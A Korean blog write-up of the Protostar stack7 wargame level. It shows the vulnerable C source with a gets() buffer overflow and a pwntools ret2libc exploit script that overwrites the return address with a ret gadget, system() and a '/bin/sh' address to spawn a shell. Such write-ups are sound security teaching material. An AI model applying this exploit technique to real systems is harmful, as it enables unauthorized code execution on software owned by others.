Pwnable/프로토스타_시스템해킹

Protostar -stack7- ROP 공격기법

KSJ._.seven11 2023. 3. 5. 14:16

stack7 의 소스코드는 다음과 같다.

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

 

해당 문제는 ROP 공격 기법을 통해 풀어낼 수 있다.

 

우선 main 에서 RET 까지 오프셋을 구해보자.

 

libc.so.6 에서 binsh 와 system 에 주소를 불러와 RET에 OVER right 하는게 핵심 풀이 방법이다.

 

그렇게 작성한 페이로드는 다음과 같다.

 

from pwn import *

p = process('./stack7')


offset = 80

ret = p32(0x8048362)
binsh = p32(0xf7db5faa)

trash = p32(0xAAAABBBB)

systme = p32(0xf7c4c800)

payload = b'A' * offset + ret + systme +trash + binsh

p.sendline(payload)

p.interactive()

RET 값에는 그대로 덮고 이후 system + dummy + binsh 를 통해 쉘을 실행시키는 구조다.

 

해당 페이로드를 전송하면 쉘을 획득할 수 있다.

 

 

야호 성공이다 !